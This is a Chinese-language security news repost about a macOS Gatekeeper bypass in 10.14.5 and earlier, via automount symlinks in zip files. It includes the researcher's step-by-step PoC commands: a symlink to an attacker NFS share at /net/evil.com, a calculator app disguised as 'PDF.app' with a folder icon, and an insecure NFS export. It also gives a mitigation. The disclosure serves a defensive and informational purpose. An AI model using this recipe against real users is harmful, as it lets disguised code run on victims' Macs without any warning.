研究员公布macOS Gatekeeper机制绕过0day PoC

栏目: 编程工具 · 发布时间: 6年前

内容简介:macOS X 10.14.5及之前版本中存在一个漏洞,可在无需用户交互的情况下执行不受信任的代码,轻易绕过 Gatekeeper。Gatekeeper是苹果公司开发的一种机制,在2012年 MacOS X 中推出,旨在执行应用前强制进行代码签名并验证所下载的应用。例如,如果用户从互联网下载并执行应用,如果未获得用户同意,则 Gatekeeper 会阻止其运行。按照设计,Gatekeeper 认为外部驱动和网络分享是安全地址,允许其中包含的任意应用程序运行。通过结合该设计和 MacOS X的两个合法功能,它

macOS X 10.14.5及之前版本中存在一个漏洞,可在无需用户交互的情况下执行不受信任的代码,轻易绕过 Gatekeeper。

Gatekeeper是苹果公司开发的一种机制,在2012年 MacOS X 中推出,旨在执行应用前强制进行代码签名并验证所下载的应用。例如,如果用户从互联网下载并执行应用,如果未获得用户同意,则 Gatekeeper 会阻止其运行。

细节

按照设计,Gatekeeper 认为外部驱动和网络分享是安全地址,允许其中包含的任意应用程序运行。通过结合该设计和 MacOS X的两个合法功能,它会导致完全欺骗预期行为。第一个合法功能是 automount (即 autofs),它允许用户仅通过访问“特殊”路径(在本案例中是以“/net/”开头的任何路径)自动挂载网共享。

例如,ls /net/evil-attacker.com/sharedfolder/ 会导致操作系统读取使用 NFS 的远程主机 (evil-attacker.com) 上的“sharefolder”内容。

第二个合法功能是 zip 文件可包含指向任意位置(包括 automount 端点)的符号链接,并且 MacOS 上负责解压 zip 文件的软件在创建符号链接之前不会对符号链接执行任何检查。

为了更好地理解利用的工作原理,假设如下场景:

  • 攻击者构造了一个包含指向受其控制的一个 automount 端点的符号链接的zip 文件(例如 Documents →/net/evil.com/Documents)并将其发送给受害者。受害者下载了恶意文档,提取并跟踪符号链接。
  • 现在,受害者就位于受攻击者控制的但被 Gatekeeper 信任的位置,因此任意受攻击者控制的可执行文件都可在不需要任何警告的情况下运行。Finder 设计的方式(例如隐藏 .app 扩展、隐藏标题栏的完整路径)使得这种技术非常有效且难以被检测到。

可参见如下视频链接理解这一概念:https://youtu.be/m74cpadIPZY。

PoC

重现步骤如下:

1、创建包含指向 automount 端点的符号链接的 zip 文件

1.1 mkdir Documents

1.2 ln -s /net/linux-vm.local/nfs/DocumentsDocuments/Documents

1.3 zip -ry Documents.zip Documents

2、创建含有想要运行的代码的应用程序(.app 文件夹)

2.1 cp -r /Applications/Calculator.app PDF.app

2.2 echo -e "#!/bin/bash"" ""open/Applications/iTunes.app" > PDF.app/Contents/MacOS/Calculator

2.3 chmod +x PDF.app/Contents/MacOS/Calculator

2.4 rm PDF.app/Contents/Resources/AppIcon.icns

2.5 ln-s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icnsPDF.app/Contents/Resources/AppIcon.icns

3、创建一个公开可访问的 NFS 共享并将 .app 放在其中

3.1 sshlinux-vm.local

3.2 mkdir -p /nfs/Documents

3.3 echo "/nfs/Documents*(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)" >>/etc/exports

3.4 service nfs-kernel-server restart

3.5 scp -r mymac.local:PDF.app /nfs/Documents/

4、将 zip 文件上传到互联网某处并下载,因此得到 Gatekeeper 的检疫标记。

5、提取 zip (如有需要)并进行导航。

和苹果公司沟通未果

本文作者在2019年2月22日将问题告知苹果公司,这个问题应该在2019年5月15日得到解决,但苹果公司开始不回复作者的邮件。

由于苹果公司已获悉90天披露的最后期限,因此作者将漏洞详情公开。

解决方案

尚无。

可通过如下缓解方法禁用 automount:

1、将 /etc/auto_master 编辑为 root

2、对以‘/net’开头的代码行进行注释

3、重启

原文链接

https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass

声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTTP Essentials

HTTP Essentials

Stephen A. Thomas、Stephen Thomas / Wiley / 2001-03-08 / USD 34.99

The first complete reference guide to the essential Web protocol As applications and services converge and Web technologies not only assume HTTP but require developers to manipulate it, it is be......一起来看看 《HTTP Essentials》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具